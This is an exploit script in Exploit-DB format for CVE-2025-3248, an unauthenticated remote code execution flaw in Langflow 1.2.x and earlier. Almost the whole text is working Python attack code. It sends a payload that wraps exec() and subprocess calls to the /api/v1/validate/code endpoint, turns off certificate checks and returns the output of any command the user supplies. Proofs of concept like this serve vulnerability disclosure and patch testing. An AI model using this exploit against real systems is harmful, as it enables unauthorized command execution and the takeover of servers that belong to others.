Langflow 1.2.x – Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands. # Usage: #python3 cve-2025-3248.py http://target:7860 "id" import requests import argparse import json from urllib.parse import urljoin from colorama import Fore, Style, init import random init(autoreset=True) requests.packages.urllib3.disable_warnings() BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX] def show_banner(): print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)} ╔════════════════════════════════════════════════════╗ ║ Langflow <= 1.2.x - CVE-2025-3248 ║ ║ Remote Code Execution via exposed API ║ ║ No authentication — triggers exec() call ║ ╚════════════════════════════════════════════════════╝ Author: Raghad Abdallah Al-syouf {Style.RESET_ALL}""") class LangflowRCE: def __init__(self, target_url, timeout=10): self.base_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = False self.session.headers = { "User-Agent": "Langflow-RCE-Scanner", "Content-Type": "application/json" } self.timeout = timeout def run_payload(self, command): endpoint = urljoin(self.base_url, "/api/v1/validate/code") payload = { "code": ( f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass" ) } print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}") try: response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout) print(f"{Fore.YELLOW}[+] HTTP {response.status_code}") if response.status_code == 200: try: json_data = response.json() err = json_data.get("function", {}).get("errors", [""])[0] if isinstance(err, str) and err.startswith("b'"): output = err[2:-1].encode().decode("unicode_escape").strip() return output or "[!] No output returned." except Exception as e: return f"[!] Error parsing response: {e}" return "[!] Target may not be vulnerable or is patched." except Exception as e: return f"[!] Request failed: {e}" def main(): parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE") parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)") parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)") args = parser.parse_args() show_banner() exploit = LangflowRCE(args.url) result = exploit.run_payload(args.cmd) print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}") if __name__ == "__main__": main() |